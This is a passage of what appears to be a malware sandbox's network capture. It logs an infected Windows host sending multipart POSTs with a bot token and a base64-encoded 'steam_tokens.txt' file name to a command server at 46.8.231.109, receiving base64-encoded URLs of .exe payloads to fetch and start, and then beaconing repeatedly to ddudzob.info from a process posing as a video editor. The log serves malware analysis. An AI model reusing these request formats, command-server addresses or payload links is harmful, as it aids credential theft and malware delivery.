Sep 18, 2024 14:30:51.540209055 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"files------EHJDGCBGDBKJKFHIECBA--
Sep 18, 2024 14:30:51.936419010 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:51.938262939 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:51.975539923 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file"------HIIIEGDBKJKEBGCBAFCF--
Sep 18, 2024 14:30:52.215903997 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:52.288357019 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"ybncbhylepme------BFIJEHCBAKFCAKFHCGDG--
Sep 18, 2024 14:30:52.510426044 CEST	371	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 144 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 70 62 6d 35 76 64 6d 46 34 61 57 35 6e 5a 57 35 70 5a 58 4a 76 63 79 35 6a 62 32 30 76 62 47 35 6d 63 32 52 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 63 7a 6f 76 4c 32 6c 75 62 6d 39 32 59 58 68 70 62 6d 64 6c 62 6d 6c 6c 63 6d 39 7a 4c 6d 4e 76 62 53 39 32 62 48 4e 68 5a 47 63 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cHM6Ly9pbm5vdmF4aW5nZW5pZXJvcy5jb20vbG5mc2RhLmV4ZXwwfDB8U3RhcnR8NHxodHRwczovL2lubm92YXhpbmdlbmllcm9zLmNvbS92bHNhZGcuZXhlfDB8MHxTdGFydHw0fA==
Sep 18, 2024 14:30:55.636872053 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFHDAKJKFCFBGCBGDHCB--
Sep 18, 2024 14:30:56.032732010 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49804	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:29.899044037 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:30.584708929 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49807	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:30.923795938 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:31.595777988 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49808	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:32.776761055 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:33.327111006 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49811	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:33.655278921 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:34.307775021 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49813	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:34.624583006 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:35.287269115 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49815	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:36.282897949 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:36.964251041 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49818	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:37.207098007 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:37.925493002 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49821	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:38.572351933 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:39.000132084 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49823	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:39.639328957 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:40.290785074 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49826	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:40.575428009 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:41.241904020 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49830	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:41.531620979 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:42.144498110 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49832	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:42.468166113 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:43.135620117 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49835	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:43.477102041 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:44.147130013 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49837	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:44.432441950 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:45.069384098 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49838	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:45.342329025 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:45.996166945 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49839	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:46.914071083 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:47.544719934 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49840	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:47.841896057 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:48.487935066 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49842	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
